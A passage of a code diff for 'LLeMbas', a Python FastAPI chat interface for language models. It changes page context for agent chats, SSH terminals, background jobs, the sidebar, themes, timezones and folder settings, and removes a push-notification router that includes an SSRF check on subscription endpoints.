# would be a switch for something that may not be offered. Everything a
|
||||
# plain chat can reach is switchable, which is the part that matters.
|
||||
chat = Chat(user_id=user.id, kind=KIND_CHAT, model_id=model_id, scope_json={})
|
||||
if chat is None:
|
||||
return {"scope_families": [], "scope_skills": []}
|
||||
|
||||
off = tools_service.scoped_off(chat)
|
||||
skills_off = tools_service.scoped_skills_off(chat)
|
||||
@@ -166,19 +124,7 @@ def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
if name not in {s["name"] for s in skills}:
|
||||
skills.append({"name": name, "description": "", "on": False})
|
||||
|
||||
# What this chat has been told to stop asking about. Shown so the list
|
||||
# cannot grow invisibly: every entry is one click of "Always allow this" on
|
||||
# a card, and a standing permission nobody can see is one nobody can revoke.
|
||||
return {
|
||||
"scope_families": families,
|
||||
"scope_skills": skills,
|
||||
"scope_allow": list(tools_service.scoped_allow(chat)),
|
||||
# Which of the two menus to draw: switches that POST at once, or
|
||||
# switches that ride along with the first message. The template asks
|
||||
# this rather than `chat is None`, so the reason is named where the
|
||||
# difference is.
|
||||
"scope_prospective": prospective,
|
||||
}
|
||||
return {"scope_families": families, "scope_skills": skills}
|
||||
|
||||
|
||||
# What a gate is called in the menu. A gate covers several tools, so no single
|
||||
@@ -191,11 +137,6 @@ _GATE_LABELS = {
|
||||
"memory": "Memory",
|
||||
"skills": "Skills",
|
||||
"ask": "Asking you questions",
|
||||
"scratch": "Writing in the canvas",
|
||||
"image": "Generating images",
|
||||
"report": "Filing reports",
|
||||
"schedule": "Scheduling work",
|
||||
"subagent": "Sending helpers",
|
||||
"agent": "Running commands",
|
||||
"custom": "Custom tools",
|
||||
"mcp": "MCP servers",
|
||||
@@ -211,44 +152,23 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
would lead anywhere.
|
||||
"""
|
||||
from lembas.db.models import SshProfile
|
||||
from lembas.services.agent import hosts
|
||||
from lembas.services.agent import policy as agent_policy
|
||||
|
||||
profiles: list[SshProfile] = []
|
||||
if settings_store.agents(db).get("enabled") and permissions.has(db, user, "tools.agent"):
|
||||
profiles = [
|
||||
profile
|
||||
for profile in db.scalars(
|
||||
profiles = list(
|
||||
db.scalars(
|
||||
select(SshProfile)
|
||||
.where(SshProfile.owner_id == user.id, SshProfile.enabled.is_(True))
|
||||
.order_by(SshProfile.name)
|
||||
)
|
||||
# A connection pointing at this machine that an administrator has not
|
||||
# allowed is not offered at all. `session.resolve` refuses it too and
|
||||
# is the control; this is so it never appears in a picker whose only
|
||||
# outcome is an agent chat with no tools and nothing said about why.
|
||||
if hosts.usable(db, profile)
|
||||
]
|
||||
)
|
||||
|
||||
current = None
|
||||
if chat is not None and chat.ssh_profile_id:
|
||||
current = db.get(SshProfile, chat.ssh_profile_id)
|
||||
if current is not None and current.owner_id != user.id:
|
||||
current = None
|
||||
elif chat is None and profiles:
|
||||
# The new-chat screen. Which connection is *chosen* is a decision being
|
||||
# made in the browser, so the server cannot know it -- what it can say is
|
||||
# that there is one to choose, which is all the panels need in order to
|
||||
# exist. They are pointed at a target by `lembas:agent-target`, and show
|
||||
# nothing until they are.
|
||||
#
|
||||
# This says the panels may *exist*, never that they should be *offered*.
|
||||
# The two buttons render `hidden` here and are shown by the same event,
|
||||
# because the kind toggle and the connection select are both in the
|
||||
# browser: answering with `profiles[0]` and leaving it at that offered a
|
||||
# terminal on an ordinary chat with nothing selected, and pressing it
|
||||
# opened a panel that could not work.
|
||||
current = profiles[0]
|
||||
|
||||
return {
|
||||
"agent_profiles": profiles,
|
||||
@@ -258,53 +178,9 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
for m in agent_policy.MODES
|
||||
],
|
||||
"terminal_enabled": _terminal_enabled(db, user, chat, current),
|
||||
# Whether this chat could have background jobs at all. Not whether it
|
||||
# has any -- that is what the chip's own request answers, five seconds
|
||||
# later, off the request path. A chip that can never show anything is a
|
||||
# chip that only takes room in a row this codebase has already had to
|
||||
# fight to keep on one line.
|
||||
"jobs_enabled": _jobs_enabled(db, user, chat, current),
|
||||
# Any chat that exists. Deliberately not gated the way the terminal is:
|
||||
# half the canvas's sources -- notes, skills, this chat's attachments,
|
||||
# its own scratch document -- need no machine at all, so the terminal's
|
||||
# total gate would remove a working feature because one source is
|
||||
# unavailable. Absent on the new-chat screen for the reason the scope
|
||||
# menu is: there is no row yet to hang a tab on.
|
||||
# Also before the chat exists, where it opens on the connection being
|
||||
# chosen in the composer. That reverses an earlier decision -- "there is
|
||||
# no row yet to hang a tab on" -- which was true of the *storage* and
|
||||
# was never a reason to withhold the panel: a draft holds its tabs in
|
||||
# memory and hands them over when the chat is created. See
|
||||
# services/agent/draft.py.
|
||||
"canvas_enabled": chat is not None or bool(profiles),
|
||||
# And whether it may *also* reach project files. Re-derived server-side
|
||||
# on every canvas request; this flag only decides what the panel offers.
|
||||
"canvas_agent": canvas_service.agent_ready(db, user, chat) is not None,
|
||||
}
|
||||
|
||||
|
||||
def _jobs_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
|
||||
"""Whether background jobs are possible in this chat.
|
||||
|
||||
The same shape as `_terminal_enabled` and for the same reason, but keyed on
|
||||
`background_enabled` rather than on `terminal_enabled` and on `tools.agent`
|
||||
rather than `agent.terminal` -- somebody who may have a model run commands
|
||||
here may see which of them are still running. It is not a second permission,
|
||||
because there is no action here the agent tools do not already grant.
|
||||
"""
|
||||
from lembas.db.models import KIND_AGENT
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
|
||||
if chat is None or chat.kind != KIND_AGENT or profile is None:
|
||||
return False
|
||||
if not permissions.has(db, user, "tools.agent"):
|
||||
return False
|
||||
values = settings_store.agents(db)
|
||||
if not values.get("enabled") or not values.get("background_enabled"):
|
||||
return False
|
||||
return ssh_service.available() == ""
|
||||
|
||||
|
||||
def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
|
||||
"""Whether this chat can offer a shell of its own.
|
||||
|
||||
@@ -316,9 +192,7 @@ def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) ->
|
||||
from lembas.db.models import KIND_AGENT
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
|
||||
# `chat is None` is the new-chat screen, which may open a shell on the
|
||||
# connection being chosen there. Everything else still has to hold.
|
||||
if profile is None or (chat is not None and chat.kind != KIND_AGENT):
|
||||
if chat is None or chat.kind != KIND_AGENT or profile is None:
|
||||
return False
|
||||
if not permissions.has(db, user, "agent.terminal"):
|
||||
return False
|
||||
@@ -328,18 +202,6 @@ def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) ->
|
||||
return ssh_service.available() == ""
|
||||
|
||||
|
||||
def sidebar_kind(user: User) -> str:
|
||||
"""Which side of the sidebar's switch this user last chose.
|
||||
|
||||
One resolver, because the page, the fragment route and the switch's own
|
||||
pressed state all have to agree about it. Anything unrecognised -- an older
|
||||
release's value, a hand-edited row -- reads as ordinary chats rather than
|
||||
showing an empty sidebar nobody can explain.
|
||||
"""
|
||||
chosen = (user.settings_json or {}).get("sidebar_kind")
|
||||
return chosen if chosen in KINDS else KIND_CHAT
|
||||
|
||||
|
||||
def sidebar_context(db: DBSession, user: User) -> dict:
|
||||
"""Folder tree plus the chats that belong to no folder.
|
||||
|
||||
@@ -348,78 +210,29 @@ def sidebar_context(db: DBSession, user: User) -> dict:
|
||||
|
||||
Only root folders are queried; children come through the relationship and
|
||||
render recursively in the template.
|
||||
|
||||
Everything is narrowed to one `Chat.kind`. A folder the filter has emptied
|
||||
is dropped here rather than in the template, so the "Folders" heading cannot
|
||||
appear above nothing -- the same reason `visible_chats` moved off the
|
||||
template in the first place. `shown_in` is what draws that line: a folder
|
||||
that was empty to begin with is kept, on both sides.
|
||||
"""
|
||||
# With the switch absent the sidebar goes back to showing everything, rather
|
||||
# than to one side of a fork nobody can move. An administrator turning agent
|
||||
# chats off would otherwise strand whoever last left the switch on Agents in
|
||||
# a sidebar that is empty with no way out of it.
|
||||
split = permissions.has(db, user, "agent.ssh") and bool(
|
||||
settings_store.agents(db).get("enabled")
|
||||
)
|
||||
kind = sidebar_kind(user) if split else ""
|
||||
|
||||
folders = [
|
||||
folder
|
||||
for folder in db.scalars(
|
||||
folders = list(
|
||||
db.scalars(
|
||||
select(Folder)
|
||||
.where(Folder.user_id == user.id, Folder.parent_id.is_(None))
|
||||
.order_by(Folder.position, Folder.name)
|
||||
)
|
||||
if folder.shown_in(kind)
|
||||
]
|
||||
narrowed = select(Chat).where(
|
||||
)
|
||||
unfiled = list(
|
||||
db.scalars(
|
||||
select(Chat)
|
||||
.where(
|
||||
Chat.user_id == user.id,
|
||||
Chat.folder_id.is_(None),
|
||||
Chat.archived.is_(False),
|
||||
Chat.temporary.is_(False),
|
||||
# `kind` empty means "both sides of the switch", never "no filter" --
|
||||
# see `Folder.visible_chats`. Task chats and the Messages conversation
|
||||
# have sections of their own and must never appear in this list, and
|
||||
# the case that reaches here with "" is precisely an instance with
|
||||
# agents disabled, where nobody would ever see the leak coming.
|
||||
Chat.kind.in_((kind,) if kind else KINDS),
|
||||
)
|
||||
unfiled = list(
|
||||
db.scalars(narrowed.order_by(Chat.pinned.desc(), Chat.updated_at.desc()))
|
||||
.order_by(Chat.pinned.desc(), Chat.updated_at.desc())
|
||||
)
|
||||
)
|
||||
return {
|
||||
"folders": folders,
|
||||
"unfiled_chats": unfiled,
|
||||
# The shortcuts at the top of the sidebar. Here rather than in
|
||||
# `_chat_context`, where they used to be, for two reasons: they are
|
||||
# sidebar content and the fragment route that re-renders the sidebar has
|
||||
# only this, and the library and connections pages carry the sidebar
|
||||
# without ever calling `_chat_context` -- so the shortcuts simply were
|
||||
# not there on any of them. The picker lists every model in the
|
||||
# administrator's order, pinned or not; pinning is not ordering.
|
||||
"pinned_models": [m for m in chat_service.available_models(db, user) if m.pinned],
|
||||
# Whether the Reports entry starts with its dot showing. Only the first
|
||||
# paint: from then on `/api/chats/unread` moves it out of band, the same
|
||||
# deal a chat row's dot has. Counted rather than existence-checked
|
||||
# because the same query answers both and a count is what a title would
|
||||
# want if this ever grows one.
|
||||
"unread_reports": reports_service.unread_count(db, user),
|
||||
# Read rather than created, for the reason the poll does the same: this
|
||||
# runs on every page, and `messages.for_user` would write a conversation
|
||||
# for every account that has never opened the section.
|
||||
"unread_messages": bool(
|
||||
db.scalar(
|
||||
select(Chat.unread).where(
|
||||
Chat.user_id == user.id, Chat.kind == KIND_MESSAGES
|
||||
)
|
||||
)
|
||||
),
|
||||
"sidebar_kind": kind,
|
||||
# Whether the switch is worth showing at all. A two-way switch with one
|
||||
# useful side is worse than no switch: it offers a view that is empty by
|
||||
# construction and cannot be made otherwise.
|
||||
"sidebar_split": split,
|
||||
"can": permissions.resolve(db, user),
|
||||
}
|
||||
|
||||
@@ -435,32 +248,6 @@ async def home(user: RequiredUser):
|
||||
# has by definition no server to ask who is looking at it.
|
||||
|
||||
|
||||
@router.get("/healthz", include_in_schema=False)
|
||||
async def healthz() -> Response:
|
||||
"""Is the process up and can it reach its database.
|
||||
|
||||
Unauthenticated, like the three below, and for a fourth reason: a
|
||||
healthcheck that needed a session would be a healthcheck nothing could run.
|
||||
It says nothing about *what* is here -- no version, no counts -- because it
|
||||
is reachable without signing in and a health endpoint is a common place to
|
||||
leak the first fact an attacker wants.
|
||||
|
||||
The query is what makes it worth having. A process that is up with a
|
||||
database it cannot open answers every page with a 500, and a check that only
|
||||
proved the socket was listening would call that healthy.
|
||||
"""
|
||||
from sqlalchemy import text
|
||||
|
||||
from lembas.db.session import session_scope
|
||||
|
||||
try:
|
||||
with session_scope() as db:
|
||||
db.execute(text("SELECT 1"))
|
||||
except Exception: # noqa: BLE001 - the answer is the status code
|
||||
return JSONResponse({"status": "error"}, status_code=503)
|
||||
return JSONResponse({"status": "ok"})
|
||||
|
||||
|
||||
@router.get("/manifest.webmanifest", include_in_schema=False)
|
||||
async def manifest(db: Db) -> Response:
|
||||
"""The web app manifest.
|
||||
@@ -470,31 +257,19 @@ async def manifest(db: Db) -> Response:
|
||||
else would be wrong on the one screen that is hardest to correct: the
|
||||
launcher.
|
||||
"""
|
||||
brand = branding_service.for_db(db)
|
||||
icons = brand.icon_paths
|
||||
name = settings_store.get(db, "instance_name") or "LLeMbas"
|
||||
return JSONResponse(
|
||||
{
|
||||
"id": "/",
|
||||
"name": brand.name,
|
||||
"short_name": brand.name[:12],
|
||||
"description": brand.tagline or "A web UI for your language models.",
|
||||
"name": name,
|
||||
"short_name": name[:12],
|
||||
"description": "A web UI for your language models.",
|
||||
"start_url": "/chat",
|
||||
"scope": "/",
|
||||
"display": "standalone",
|
||||
"background_color": THEME_COLOUR["moria"],
|
||||
"theme_color": THEME_COLOUR["moria"],
|
||||
# An uploaded logo's derived icons, or the shipped ones. Whole-set
|
||||
# rather than per size: a manifest listing two custom icons and one
|
||||
# shipped is a launcher tile that changes when the device picks a
|
||||
# different size, which reads as a bug in the install.
|
||||
"icons": [
|
||||
{"src": f"/branding/{icons['icon-192']}", "sizes": "192x192",
|
||||
"type": "image/png", "purpose": "any"},
|
||||
{"src": f"/branding/{icons['icon-512']}", "sizes": "512x512",
|
||||
"type": "image/png", "purpose": "any"},
|
||||
{"src": f"/branding/{icons['maskable']}", "sizes": "512x512",
|
||||
"type": "image/png", "purpose": "maskable"},
|
||||
] if icons.get("icon-192") and icons.get("icon-512") and icons.get("maskable") else [
|
||||
{"src": "/static/img/icon-192.png", "sizes": "192x192",
|
||||
"type": "image/png", "purpose": "any"},
|
||||
{"src": "/static/img/icon-512.png", "sizes": "512x512",
|
||||
@@ -533,52 +308,22 @@ async def offline(request: Request) -> Response:
|
||||
|
||||
@router.get("/chat")
|
||||
async def chat_index(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
model: str = "",
|
||||
temporary: bool = False,
|
||||
kind: str = "",
|
||||
folder: str = "",
|
||||
request: Request, db: Db, user: RequiredUser, model: str = "", temporary: bool = False
|
||||
):
|
||||
"""A composer with no chat behind it yet.
|
||||
|
||||
`?model=` preselects one, which is how the pinned shortcuts work without
|
||||
creating a row for a chat that may never be sent. `?temporary=1` is the
|
||||
same idea for the temporary flag: it lives in the URL rather than in
|
||||
JavaScript, so it survives a reload and can be bookmarked. `?kind=agent`
|
||||
is how the sidebar's Agent side opens a new chat already on that side --
|
||||
a preselection like the other two, not a decision: the kind is still
|
||||
chosen on the screen and still fixed only when the first message is sent.
|
||||
`?folder=` is the same again, and is what "New chat here" on a folder row
|
||||
posts: the chat is filed there, and `_new_chat` fills in whatever the
|
||||
folder seeds and the screen left empty.
|
||||
JavaScript, so it survives a reload and can be bookmarked.
|
||||
"""
|
||||
context = _chat_context(db, user, None)
|
||||
|
||||
# Somebody else's folder id in the URL is ignored rather than refused. It
|
||||
# would only ever get there by hand, and an error page holding a composer
|
||||
# hostage over a bad query string helps nobody.
|
||||
starting_folder = db.get(Folder, folder) if folder else None
|
||||
if starting_folder is not None and starting_folder.user_id != user.id:
|
||||
starting_folder = None
|
||||
# A folder that fixes the kind picks the fork, unless the URL already said.
|
||||
if not kind and starting_folder is not None:
|
||||
kind = starting_folder.kind
|
||||
|
||||
# Fall back to the same choice a new chat would make -- the user's default,
|
||||
# then the instance default, then first in order. Using models[0] here
|
||||
# instead would show a model the chat is not going to use, which matters:
|
||||
# the composer decides from it whether to warn that images will be dropped.
|
||||
preselected = next((m for m in context["models"] if m.model_id == model), None)
|
||||
# The folder's own model, ahead of the reader's default and behind an
|
||||
# explicit `?model=`. Same order `_new_chat` applies, so the picker shows
|
||||
# the model the chat is actually going to be created with -- which matters,
|
||||
# because the composer decides from it whether to warn about images.
|
||||
if preselected is None and starting_folder is not None and starting_folder.model_id:
|
||||
preselected = next(
|
||||
(m for m in context["models"] if m.model_id == starting_folder.model_id), None
|
||||
)
|
||||
if preselected is None:
|
||||
chosen = chat_service.default_model(db, user)
|
||||
if chosen is not None:
|
||||
@@ -598,56 +343,12 @@ async def chat_index(
|
||||
**context,
|
||||
"current_model": preselected,
|
||||
"starting_temporary": temporary,
|
||||
"starting_kind": kind if kind in KINDS else KIND_CHAT,
|
||||
"starting_folder": starting_folder,
|
||||
"suggestions": suggestions_service.visible(db),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _candidate_parents(db: DBSession, user_id: str, folder: Folder) -> list[Folder]:
|
||||
from lembas.api.folders import candidate_parents
|
||||
|
||||
return candidate_parents(db, user_id, folder)
|
||||
|
||||
|
||||
@router.get("/folders/{folder_id}")
|
||||
async def folder_settings(request: Request, db: Db, user: RequiredUser, folder_id: str):
|
||||
"""What a folder hands to the chats started inside it.
|
||||
|
||||
A page rather than a row that expands, following the admin convention: a
|
||||
form per row in a tree that nests eight deep would be unusable, and the
|
||||
sidebar is the one part of the application that has to stay scannable.
|
||||
|
||||
Guarded by `folder.manage`, the same permission the whole folder router
|
||||
carries -- editing a folder's system prompt is managing a folder, and a page
|
||||
that renders for somebody whose save is going to 403 is a trap.
|
||||
"""
|
||||
if not permissions.has(db, user, "folder.manage"):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "You cannot manage folders.")
|
||||
|
||||
folder = db.get(Folder, folder_id)
|
||||
if folder is None or folder.user_id != user.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That folder no longer exists.")
|
||||
|
||||
return render(
|
||||
request,
|
||||
"folders/edit.html",
|
||||
{
|
||||
"folder": folder,
|
||||
"chat": None,
|
||||
# Imported here rather than at module scope: `api.folders` imports
|
||||
# `api.deps`, which this module is a peer of, and the pair have been
|
||||
# kept apart deliberately.
|
||||
"parents": _candidate_parents(db, user.id, folder),
|
||||
"models": chat_service.available_models(db, user),
|
||||
**_agent_context(db, user, None),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/chat/{chat_id}")
|
||||
async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str):
|
||||
chat = db.get(Chat, chat_id)
|
||||
@@ -669,29 +370,23 @@ async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str
|
||||
# have only stopped being part of the request.
|
||||
compacted, messages = compaction_service.split(db, chat, everything)
|
||||
|
||||
# Empty, and kept only so `_thread.html` and the four handlers that render a
|
||||
# bubble keep one signature between them. An assistant turn is rendered from
|
||||
# its steps now (`message_steps`, a Jinja global), which is what lets a
|
||||
# reply's prose sit either side of the tool call it surrounded rather than
|
||||
# arriving as one block at the bottom. Nothing reads this for an assistant
|
||||
# message any more; `library/note_detail.html` has its own.
|
||||
bodies: dict[str, str] = {}
|
||||
# Markdown is rendered once here rather than in the template so the same
|
||||
# helper produces the page and the streamed final frame -- one code path,
|
||||
# no chance of the two disagreeing.
|
||||
bodies = {
|
||||
message.id: render_markdown(message.content)
|
||||
for message in everything
|
||||
if message.role == "assistant" and message.content
|
||||
}
|
||||
|
||||
# What the chat would use if its own prompt were empty, so the settings
|
||||
# panel can show it as placeholder text rather than leaving the user to
|
||||
# guess what "inherited" means.
|
||||
#
|
||||
# This mirrors `chat_service.effective_system_prompt` and has to keep
|
||||
# mirroring it, layer for layer and in the same order -- a panel naming the
|
||||
# wrong source is worse than one naming none, because it is believed.
|
||||
inherited, inherited_from = "", ""
|
||||
folder_prompt = chat_service.folder_system_prompt(db, chat)
|
||||
current = next(
|
||||
(m for m in chat_service.available_models(db, user) if m.model_id == chat.model_id), None
|
||||
)
|
||||
if folder_prompt:
|
||||
inherited, inherited_from = folder_prompt, "folder"
|
||||
elif current is not None and (current.system_prompt or "").strip():
|
||||
if current is not None and (current.system_prompt or "").strip():
|
||||
inherited, inherited_from = current.system_prompt.strip(), "model"
|
||||
else:
|
||||
instance_prompt = (settings_store.get(db, "system_prompt") or "").strip()
|
||||
@@ -708,45 +403,12 @@ async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str
|
||||
"bodies": bodies,
|
||||
"inherited_prompt": inherited,
|
||||
"inherited_from": inherited_from,
|
||||
**_schedule_context(db, user, chat),
|
||||
**_chat_context(db, user, chat),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _schedule_context(db: DBSession, user: User, chat: Chat) -> dict:
|
||||
"""What the strip below a task chat needs.
|
||||
|
||||
Empty for every other kind, so the three keys exist unconditionally and the
|
||||
template can ask about `schedule` without a `default(false)` -- the same
|
||||
reason `audio_service.template_flags` is passed by all four bubble
|
||||
renderers rather than by whichever one remembered.
|
||||
|
||||
`schedule` being None on a task chat is a real state, not an error: removing
|
||||
a schedule keeps its chat by default, and the strip says so.
|
||||
"""
|
||||
from lembas.services import schedules as schedules_service
|
||||
|
||||
if chat is None or chat.kind != KIND_TASK:
|
||||
return {"schedule": None, "schedule_summary": "", "schedule_next": None}
|
||||
|
||||
schedule = schedules_service.for_chat(db, chat)
|
||||
if schedule is None:
|
||||
return {"schedule": None, "schedule_summary": "", "schedule_next": None}
|
||||
|
||||
zone = clock.zone_for(user)
|
||||
return {
|
||||
"schedule": schedule,
|
||||
"schedule_summary": schedules_service.describe(schedule, owner=user),
|
||||
"schedule_next": (
|
||||
clock.as_utc(schedule.next_fire_at).astimezone(zone)
|
||||
if schedule.next_fire_at
|
||||
else None
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
@router.get("/settings")
|
||||
async def settings_page(
|
||||
request: Request,
|
||||
@@ -776,12 +438,6 @@ async def settings_page(
|
||||
"voice_error": voice_error,
|
||||
"memories": memories_service.all_for(db, user),
|
||||
"memory_limit": memories_service.MAX_MEMORY_CHARS,
|
||||
# Sorted rather than left in set order, because a list of six
|
||||
# hundred zones that is not alphabetical is one nobody can use.
|
||||
"timezones": sorted(available_timezones()),
|
||||
"timezone": clock.name_for(user),
|
||||
"server_timezone": str(clock.server_zone()),
|
||||
"local_now": clock.now_for(user).strftime("%H:%M on %A %-d %B"),
|
||||
**context,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
|
||||
@@ -12,20 +12,12 @@ from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.config import settings
|
||||
from lembas.security.passwords import hash_password, validate_password, verify_password
|
||||
from lembas.security.sessions import COOKIE_NAME, create_session, revoke_all_for_user
|
||||
from lembas.services.schedule import clock
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/api/preferences", tags=["preferences"])
|
||||
|
||||
# The built-in pair used to be spelled out here, and in four other places. It is
|
||||
# one server-resolved list now, because an administrator can define a theme and a
|
||||
# hard-coded pair would refuse it -- silently, since this route answers a
|
||||
# rejection with `{"ok": false}` that nothing displays.
|
||||
def themes() -> tuple[str, ...]:
|
||||
from lembas.services import branding
|
||||
|
||||
return branding.snapshot().theme_ids
|
||||
THEMES = ("moria", "shire")
|
||||
|
||||
|
||||
@router.post("/theme")
|
||||
@@ -36,7 +28,7 @@ async def set_theme(db: Db, user: RequiredUser, theme: str = Body(..., embed=Tru
|
||||
the choice follow the user to another browser, and what lets the server
|
||||
render the right theme on first paint instead of flashing the default.
|
||||
"""
|
||||
if theme not in themes():
|
||||
if theme not in THEMES:
|
||||
return {"ok": False, "detail": "Unknown theme."}
|
||||
|
||||
# Replaced rather than mutated in place: SQLAlchemy only reliably detects
|
||||
@@ -46,33 +38,12 @@ async def set_theme(db: Db, user: RequiredUser, theme: str = Body(..., embed=Tru
|
||||
return {"ok": True, "theme": theme}
|
||||
|
||||
|
||||
@router.post("/timezone")
|
||||
async def set_timezone(db: Db, user: RequiredUser, timezone: str = Form("")) -> Response:
|
||||
"""Which zone this person's schedules fire in, and what time they are told it is.
|
||||
|
||||
Empty is a real answer -- "whatever the server is set to" -- rather than an
|
||||
unset field, which is why it is stored as "" instead of being removed. An
|
||||
unrecognised name is refused rather than stored and fallen back from later:
|
||||
a schedule that quietly fires in the wrong zone is the failure this whole
|
||||
field exists to prevent, and the one place to catch it is the write.
|
||||
"""
|
||||
chosen = (timezone or "").strip()
|
||||
if chosen and not clock.known(chosen):
|
||||
return RedirectResponse(
|
||||
"/settings?error=timezone", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
user.settings_json = {**(user.settings_json or {}), clock.SETTING_KEY: chosen}
|
||||
db.commit()
|
||||
return RedirectResponse("/settings?saved=timezone", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
# Which CSS variables a browser is allowed to set from here, and how far. An
|
||||
# open dict would let a page store anything under somebody's account and have
|
||||
# it read back on every load; a width outside these bounds would hand them a
|
||||
# panel they cannot see to drag back.
|
||||
LAYOUT_BOUNDS = {
|
||||
"--terminal-width": (384, 2400),
|
||||
"--canvas-width": (384, 2400),
|
||||
"--inspector-width": (280, 2400),
|
||||
"--sidebar-width": (200, 800),
|
||||
}
|
||||
@@ -105,44 +76,6 @@ async def set_layout(db: Db, user: RequiredUser, widths: dict = Body(...)) -> di
|
||||
return {"ok": True, "layout": kept}
|
||||
|
||||
|
||||
@router.post("/sidebar-kind")
|
||||
async def set_sidebar_kind(
|
||||
request: Request, db: Db, user: RequiredUser, kind: str = Form("")
|
||||
) -> Response:
|
||||
"""Switch the sidebar between ordinary chats and agent chats.
|
||||
|
||||
Saves and re-renders in one round trip, because the two cannot be allowed to
|
||||
disagree: a switch that stored a choice and left the tree showing the other
|
||||
side would look broken, and re-rendering without storing would lose it on the
|
||||
next navigation. The tree comes back as a fragment rather than an `HX-Refresh`
|
||||
-- a full reload is what `api/folders.py` does for a structural change, and it
|
||||
would throw away the folder open/closed state on every flick of the switch,
|
||||
which is the same thing `/api/chats/unread` avoids by swapping out of band.
|
||||
|
||||
An unrecognised value is refused rather than stored: `sidebar_kind` reads it
|
||||
back as "chat" anyway, so storing it would be a preference that silently
|
||||
does nothing.
|
||||
"""
|
||||
from lembas.api.pages import sidebar_context
|
||||
from lembas.db.models import KINDS
|
||||
from lembas.web.templating import templates
|
||||
|
||||
if kind not in KINDS:
|
||||
return Response(status_code=status.HTTP_400_BAD_REQUEST)
|
||||
|
||||
user.settings_json = {**(user.settings_json or {}), "sidebar_kind": kind}
|
||||
db.commit()
|
||||
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"partials/_sidebar_tree.html",
|
||||
# `oob` brings the New chat button along out of band. It sits above the
|
||||
# scroll area rather than inside the tree, so a swap of the tree alone
|
||||
# left it saying "New chat" while agent chats were listed underneath.
|
||||
{"chat": None, "user": user, "oob": True, **sidebar_context(db, user)},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/default-model")
|
||||
async def set_default_model(
|
||||
db: Db, user: RequiredUser, model_id: str = Form("")
|
||||
|
||||
@@ -1,123 +0,0 @@
|
||||
"""Registering a browser for notifications, and letting it go again.
|
||||
|
||||
Three routes and no cleverness. The interesting half is `services/push.py`;
|
||||
this is the part a browser talks to.
|
||||
|
||||
Ownership is the whole authorisation, as everywhere a person's own things are
|
||||
handled here: a subscription belongs to whoever was signed in when it was made,
|
||||
and nothing else can reach it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Request, Response, status
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.db.models import PushSubscription
|
||||
from lembas.services import fetch as fetch_service
|
||||
from lembas.services import push as push_service
|
||||
from lembas.services.fetch import FetchError
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/api/push", tags=["push"])
|
||||
|
||||
# What a browser hands back is its own; these are the bounds that stop a crafted
|
||||
# POST writing a novel into the row.
|
||||
MAX_ENDPOINT = 2000
|
||||
MAX_KEY = 255
|
||||
|
||||
|
||||
@router.get("/key")
|
||||
async def application_key(db: Db, user: RequiredUser) -> dict[str, str]:
|
||||
"""The public half of this instance's VAPID key.
|
||||
|
||||
A browser needs it to subscribe, and it is public by construction — it is
|
||||
what every push service is shown on every send. Behind a login anyway,
|
||||
because there is no reason for it to be readable by anyone who is not about
|
||||
to use it.
|
||||
"""
|
||||
return {"key": push_service.public_key(db)}
|
||||
|
||||
|
||||
@router.post("/subscribe")
|
||||
async def subscribe(request: Request, db: Db, user: RequiredUser) -> Response:
|
||||
"""Store what `pushManager.subscribe` handed back.
|
||||
|
||||
Idempotent on the endpoint, because a browser that re-subscribes returns the
|
||||
same one — and two rows for one browser would be two notifications for one
|
||||
arrival. Re-subscribing also **re-points it at whoever is signed in now**:
|
||||
the endpoint belongs to the browser, so on a shared machine the second
|
||||
person to turn notifications on must get them instead of the first, not as
|
||||
well.
|
||||
"""
|
||||
payload = await request.json()
|
||||
endpoint = str(payload.get("endpoint") or "").strip()[:MAX_ENDPOINT]
|
||||
keys = payload.get("keys") or {}
|
||||
p256dh = str(keys.get("p256dh") or "").strip()[:MAX_KEY]
|
||||
auth = str(keys.get("auth") or "").strip()[:MAX_KEY]
|
||||
|
||||
if not endpoint.startswith("https://") or not p256dh or not auth:
|
||||
return Response(status_code=status.HTTP_400_BAD_REQUEST)
|
||||
|
||||
# The endpoint is a URL the browser hands us and the server later POSTs to,
|
||||
# which makes it the same shape as every other URL a request can name --
|
||||
# and it was the one outbound client in the codebase not going through the
|
||||
# SSRF guard. `https://` alone says nothing about *where*: an internal
|
||||
# address is as valid a URL as Mozilla's push service, and the caller
|
||||
# triggers delivery themselves by sending a message and closing the tab.
|
||||
#
|
||||
# Checked here **and** again before the POST, the split `agent/hosts.py`
|
||||
# uses: a row can predate a DNS change, and this one is stored.
|
||||
try:
|
||||
fetch_service.check_url(endpoint)
|
||||
except FetchError as exc:
|
||||
log.warning("refused a push endpoint from %s: %s", user.email, exc.message)
|
